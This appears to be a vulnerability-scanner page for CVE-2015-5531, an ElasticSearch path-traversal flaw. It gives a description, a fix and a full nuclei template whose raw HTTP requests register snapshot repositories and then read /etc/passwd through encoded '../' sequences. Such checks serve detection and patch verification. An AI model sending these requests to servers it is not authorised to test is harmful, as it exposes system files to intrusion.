ElasticSearch <1.6.1 - Local File Inclusion

mediumseverity

5CVSS score

94.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

ElasticSearch before 1.6.1 allows remote attackers to read arbitrary files via unspecified vectors related to snapshot API calls.

Impact

Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.

Fix

Upgrade ElasticSearch to version 1.6.1 or later to mitigate the vulnerability.

How to confirm it

Send: PUT /_snapshot/test ; PUT /_snapshot/test2 ; GET /_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
Positive when: contains "ElasticsearchParseException" and "Failed to derive xcontent from" and "114, 111, 111, 116, 58" AND status 400

Run it with nuclei: nuclei -id CVE-2015-5531 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2015-5531

info:
  name: ElasticSearch <1.6.1 - Local File Inclusion
  author: princechaddha
  severity: medium
  description: ElasticSearch before 1.6.1 allows remote attackers to read arbitrary files via unspecified vectors related to snapshot API calls.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: |
    Upgrade ElasticSearch to version 1.6.1 or later to mitigate the vulnerability.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-5531
    - https://nvd.nist.gov/vuln/detail/CVE-2015-5531
    - http://packetstormsecurity.com/files/132721/Elasticsearch-Directory-Traversal.html
    - https://www.elastic.co/community/security/
    - http://packetstormsecurity.com/files/133797/ElasticSearch-Path-Traversal-Arbitrary-File-Download.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2015-5531
    cwe-id: CWE-22
    epss-score: 0.94788
    epss-percentile: 0.99858
    cpe: cpe:2.3:a:elasticsearch:elasticsearch:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: elasticsearch
    product: elasticsearch
    fofa-query: index_not_found_exception
  tags: cve2015,cve,vulhub,packetstorm,elasticsearch,intrusive,vkev,vuln

http:
  - raw:
      - |
        PUT /_snapshot/test HTTP/1.1
        Host: {{Hostname}}

        {
            "type": "fs",
            "settings": {
                "location": "/usr/share/elasticsearch/repo/test"
            }
        }
      - |
        PUT /_snapshot/test2 HTTP/1.1
        Host: {{Hostname}}

        {
            "type": "fs",
            "settings": {
                "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"
            }
        }
      - |
        GET /_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd  HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ElasticsearchParseException
          - Failed to derive xcontent from
          - 114, 111, 111, 116, 58
        condition: and

      - type: status
        status:
          - 400

References

Use this check only on systems you are authorised to test. Where the data comes from